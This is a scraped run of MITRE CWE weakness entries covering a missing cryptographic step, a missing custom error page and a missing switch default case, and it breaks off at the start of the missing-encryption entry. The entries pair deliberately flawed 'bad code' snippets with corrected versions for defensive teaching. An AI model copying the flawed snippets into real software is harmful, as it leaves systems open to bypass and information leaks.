Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not implement a required step in a cryptographic algorithm, resulting in weaker encryption than advertised by the algorithm.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.573Improper Following of Specification by Caller
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.358Improperly Implemented Security Check for Standard
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.310Cryptographic Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Hardware Design" (CWE-1194)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1205Security Primitives and Cryptography Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationDevelopers sometimes omit "expensive" (resource-intensive) steps in order to improve performance, especially in devices with limited memory or slower CPUs. This step may be taken under a mistaken impression that the step is unnecessary for the cryptographic algorithm.
RequirementsThis issue may happen when the requirements for the cryptographic algorithm are not clearly stated.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

Confidentiality
Integrity

Technical Impact: Read Application Data; Modify Application Data

Accountability
Non-Repudiation

Technical Impact: Hide Activities

+ Demonstrative Examples

Example 1

The example code is taken from the HMAC engine inside the buggy OpenPiton SoC of HACK@DAC'21 [REF-1358]. HAMC is a message authentication code (MAC) that uses both a hash and a secret crypto key. The HMAC engine in HACK@DAC SoC uses the SHA-256 module for the calculation of the HMAC for 512 bits messages.

(bad code)
Example Language: Verilog 
logic [511:0] bigData;
...

hmac hmac(
.clk_i(clk_i),
.rst_ni(rst_ni && ~rst_4),
.init_i(startHash && ~startHash_r),
.key_i(key),
.ikey_hash_i(ikey_hash),
.okey_hash_i(okey_hash),
.key_hash_bypass_i(key_hash_bypass),
.message_i(bigData),
.hash_o(hash),
.ready_o(ready),
.hash_valid_o(hashValid)

However, this HMAC engine cannot handle messages that are longer than 512 bits. Moreover, a complete HMAC will contain an iterate hash function that breaks up a message into blocks of a fixed size and iterates over them with a compression function (e.g., SHA-256). Therefore, the implementation of the HMAC in OpenPiton SoC is incomplete. Such HMAC engines will not be used in real-world applications as the messages will usually be longer than 512 bits. For instance, OpenTitan offers a comprehensive HMAC implementation that utilizes a FIFO for temporarily storing the truncated message, as detailed in [REF-1359].

To mitigate this, implement the iterative function to break up a message into blocks of a fixed size.

+ Observed Examples
ReferenceDescription
Missing challenge-response step allows authentication bypass using public key.
+ Functional Areas
  • Cryptography
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.719OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.720OWASP Top Ten 2007 Category A9 - Insecure Communications
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.934OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.958SFP Secondary Cluster: Broken Cryptography
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1029OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1346OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1366ICS Communications: Frail Security in Protocols
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1402Comprehensive Categorization: Encryption
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

Overlaps incomplete/missing security check.

Relationship

Can be resultant.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERMissing Required Cryptographic Step
OWASP Top Ten 2007A8CWE More SpecificInsecure Cryptographic Storage
OWASP Top Ten 2007A9CWE More SpecificInsecure Communications
+ References
[REF-1359] "HMAC HWIP Technical Specification". 2023. <https://opentitan.org/book/hw/ip/hmac/>. URL validated: 2023-10-05.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution DateContributorOrganization
2023-06-21Chen Chen, Rahul Kande, Jeyavijayan RajendranTexas A&M University
suggested demonstrative example
2023-06-21Shaza Zeitouni, Mohamadreza Rostami, Ahmad-Reza SadeghiTechnical University of Darmstadt
suggested demonstrative example
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Functional_Areas, Modes_of_Introduction, Relationships, Observed_Example, Relationship_Notes, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Relationships
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2018-03-27CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Description, Relationships
2020-08-20CWE Content TeamMITRE
updated Common_Consequences, Description, Modes_of_Introduction, Name
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Demonstrative_Examples, References
+ Previous Entry Names
Change DatePrevious Entry Name
2020-08-20Missing Required Cryptographic Step

CWE-756: Missing Custom Error Page

Weakness ID: 756
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not return custom error pages to the user, possibly exposing sensitive information.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.755Improper Handling of Exceptional Conditions
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.7J2EE Misconfiguration: Missing Custom Error Page
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.12ASP.NET Misconfiguration: Missing Custom Error Page
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.209Generation of Error Message Containing Sensitive Information
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.389Error Conditions, Return Values, Status Codes
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

Attackers can leverage the additional information provided by a default error page to mount attacks targeted on the framework, database, or other resources used by the application.
+ Demonstrative Examples

Example 1

In the snippet below, an unchecked runtime exception thrown from within the try block may cause the container to display its default error page (which may contain a full stack trace, among other things).

(bad code)
Example Language: Java 
Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try {
...
} catch (ApplicationSpecificException ase) {
logger.error("Caught: " + ase.toString());
}
}

Example 2

The mode attribute of the <customErrors> tag in the Web.config file defines whether custom or default error pages are used.

In the following insecure ASP.NET application setting, custom error message mode is turned off. An ASP.NET error message with detailed stack trace and platform versions will be returned.

(bad code)
Example Language: ASP.NET 
<customErrors mode="Off" />

A more secure setting is to set the custom error message mode for remote users only. No defaultRedirect error page is specified. The local user on the web server will see a detailed stack trace. For remote users, an ASP.NET error message with the server customError configuration setting and the platform version will be returned.

(good code)
Example Language: ASP.NET 
<customErrors mode="RemoteOnly" />

Another secure option is to set the mode attribute of the <customErrors> tag to use a custom page as follows:

(good code)
Example Language: ASP.NET 
<customErrors mode="On" defaultRedirect="YourErrorPage.htm" />
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1349OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1405Comprehensive Categorization: Improper Check or Handling of Exceptional Conditions
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2009-03-03
(CWE 1.3, 2009-03-10)
CWE Content TeamMITRE
New entry for reorganization of CWE-703.
+ Modifications
Modification DateModifierOrganization
2010-09-27CWE Content TeamMITRE
updated Description
2010-12-13CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships, Type
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-478: Missing Default Case in Multiple Condition Expression

Weakness ID: 478
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The code does not have a default case in an expression with multiple conditions, such as a switch statement.
+ Extended Description
If a multiple-condition expression (such as a switch in C) omits the default case but does not consider or handle all possible values that could occur, then this might lead to complex logical errors and resultant weaknesses. Because of this, further decisions are made based on poor information, and cascading failure results. This cascading failure may result in any number of security issues, and constitutes a significant failure in the system.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1023Incomplete Comparison with Missing Factors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1006Bad Coding Practices
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

Java (Undetermined Prevalence)

C# (Undetermined Prevalence)

Python (Undetermined Prevalence)

JavaScript (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Varies by Context; Alter Execution Logic

Depending on the logical circumstances involved, any consequences may result: e.g., issues of confidentiality, authentication, authorization, availability, integrity, accountability, or non-repudiation.
+ Demonstrative Examples

Example 1

The following does not properly check the return code in the case where the security_check function returns a -1 value when an error occurs. If an attacker can supply data that will invoke an error, the attacker can bypass the security check:

(bad code)
Example Language:
#define FAILED 0
#define PASSED 1
int result;
...
result = security_check(data);
switch (result) {
case FAILED:
printf("Security check failed!\n");
exit(-1);
//Break never reached because of exit()
break;

case PASSED:
printf("Security check passed.\n");
break;
}
// program execution continues...
...

Instead a default label should be used for unaccounted conditions:

(good code)
Example Language:
#define FAILED 0
#define PASSED 1
int result;
...
result = security_check(data);
switch (result) {
case FAILED:
printf("Security check failed!\n");
exit(-1);
//Break never reached because of exit()
break;

case PASSED:
printf("Security check passed.\n");
break;

default:
printf("Unknown error (%d), exiting...\n",result);
exit(-1);
}

This label is used because the assumption cannot be made that all possible cases are accounted for. A good practice is to reserve the default case for error handling.

Example 2

In the following Java example the method getInterestRate retrieves the interest rate for the number of points for a mortgage. The number of points is provided within the input parameter and a switch statement will set the interest rate value to be returned based on the number of points.

(bad code)
Example Language: Java 
public static final String INTEREST_RATE_AT_ZERO_POINTS = "5.00";
public static final String INTEREST_RATE_AT_ONE_POINTS = "4.75";
public static final String INTEREST_RATE_AT_TWO_POINTS = "4.50";
...
public BigDecimal getInterestRate(int points) {
BigDecimal result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);

switch (points) {
case 0:
result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
break;

case 1:
result = new BigDecimal(INTEREST_RATE_AT_ONE_POINTS);
break;

case 2:
result = new BigDecimal(INTEREST_RATE_AT_TWO_POINTS);
break;
}
return result;
}

However, this code assumes that the value of the points input parameter will always be 0, 1 or 2 and does not check for other incorrect values passed to the method. This can be easily accomplished by providing a default label in the switch statement that outputs an error message indicating an invalid value for the points input parameter and returning a null value.

(good code)
Example Language: Java 
public static final String INTEREST_RATE_AT_ZERO_POINTS = "5.00";
public static final String INTEREST_RATE_AT_ONE_POINTS = "4.75";
public static final String INTEREST_RATE_AT_TWO_POINTS = "4.50";
...
public BigDecimal getInterestRate(int points) {
BigDecimal result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);

switch (points) {
case 0:
result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
break;

case 1:
result = new BigDecimal(INTEREST_RATE_AT_ONE_POINTS);
break;

case 2:
result = new BigDecimal(INTEREST_RATE_AT_TWO_POINTS);
break;

default:
System.err.println("Invalid value for points, must be 0, 1 or 2");
System.err.println("Returning null value for interest rate");
result = null;
}

return result;
}

Example 3

In the following Python example the match-case statements (available in Python version 3.10 and later) perform actions based on the result of the process_data() function. The expected return is either 0 or 1. However, if an unexpected result (e.g., -1 or 2) is obtained then no actions will be taken potentially leading to an unexpected program state.

(bad code)
Example Language: Python 
result = process_data(data)
match result:
case 0:
print("Properly handle zero case.")

case 1:
print("Properly handle one case.")

# program execution continues...

The recommended approach is to add a default case that captures any unexpected result conditions, regardless of how improbable these unexpected conditions might be, and properly handles them.

(good code)
Example Language: Python 
result = process_data(data)
match result:
case 0:
print("Properly handle zero case.")

case 1:
print("Properly handle one case.")

case _:
print("Properly handle unexpected condition.")

# program execution continues...

Example 4

In the following JavaScript example the switch-case statements (available in JavaScript version 1.2 and later) are used to process a given step based on the result of a calcuation involving two inputs. The expected return is either 1, 2, or 3. However, if an unexpected result (e.g., 4) is obtained then no action will be taken potentially leading to an unexpected program state.

(bad code)
Example Language: JavaScript 
let step = input1 + input2;
switch(step) {
case 1:
alert("Process step 1.");
break;

case 2:
alert("Process step 2.");
break;

case 3:
alert("Process step 3.");
break;

}
// program execution continues...

The recommended approach is to add a default case that captures any unexpected result conditions and properly handles them.

(good code)
Example Language: JavaScript 
let step = input1 + input2;
switch(step) {
case 1:
alert("Process step 1.");
break;

case 2:
alert("Process step 2.");
break;

case 3:
alert("Process step 3.");
break;

default:
alert("Unexpected step encountered.");

}
// program execution continues...

Example 5

The Finite State Machine (FSM) shown in the "bad" code snippet below assigns the output ("out") based on the value of state, which is determined based on the user provided input ("user_input").

(bad code)
Example Language: Verilog 
module fsm_1(out, user_input, clk, rst_n);
input [2:0] user_input;
input clk, rst_n;
output reg [2:0] out;
reg [1:0] state;
always @ (posedge clk or negedge rst_n )
begin
if (!rst_n)
state = 3'h0;
else
case (user_input)
3'h0:
3'h1:
3'h2:
3'h3: state = 2'h3;
3'h4: state = 2'h2;
3'h5: state = 2'h1;
endcase
end
out <= {1'h1, state};
endmodule

The case statement does not include a default to handle the scenario when the user provides inputs of 3'h6 and 3'h7. Those inputs push the system to an undefined state and might cause a crash (denial of service) or any other unanticipated outcome.

Adding a default statement to handle undefined inputs mitigates this issue. This is shown in the "Good" code snippet below. The default statement is in bold.

(good code)
Example Language: Verilog 
case (user_input)
3'h0:
3'h1:
3'h2:
3'h3: state = 2'h3;
3'h4: state = 2'h2;
3'h5: state = 2'h1;
default: state = 2'h0;
endcase
+ Potential Mitigations

Phase: Implementation

Ensure that there are no cases unaccounted for when adjusting program flow or values based on the value of a given variable. In the case of switch style statements, the very simple act of creating a default case can, if done correctly, mitigate this situation. Often however, the default case is used simply to represent an assumed option, as opposed to working as a check for invalid input. This is poor practice and in some cases is as bad as omitting a default case entirely.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.962SFP Secondary Cluster: Unchecked Status Condition
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1307CISQ Quality Measures - Maintainability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1397Comprehensive Categorization: Comparison
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPFailure to account for default case in switch
Software Fault PatternsSFP4Unchecked Status Condition
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Switch Statements", Page 337. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Contributions
Contribution DateContributorOrganization
2022-08-15Drew Buttner
Suggested name change and other modifications, including a new demonstrative example.
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Description, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-05-27CWE Content TeamMITRE
updated Description, Name
2010-06-21CWE Content TeamMITRE
updated Demonstrative_Examples
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2014-06-23CWE Content TeamMITRE
updated Description, Other_Notes, Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Relationships
2018-03-27CWE Content TeamMITRE
updated Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships, Type
2020-08-20CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Name, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Failure to Account for Default Case in Switch
2009-05-27Failure to Use Default Case in Switch
2022-10-13Missing Default Case in Switch Statement

CWE-311: Missing Encryption of Sensitive Data

Weakness ID: 311
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not encrypt sensitive or critical information before storage or transmission.
+ Extended Description
The lack of proper data encryption passes up the guarantees of confidentiality, integrity, and accountability that properly implemented encryption conveys.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.693Protection Mechanism Failure
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.312Cleartext Storage of Sensitive Information
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.319Cleartext Transmission of Sensitive Information
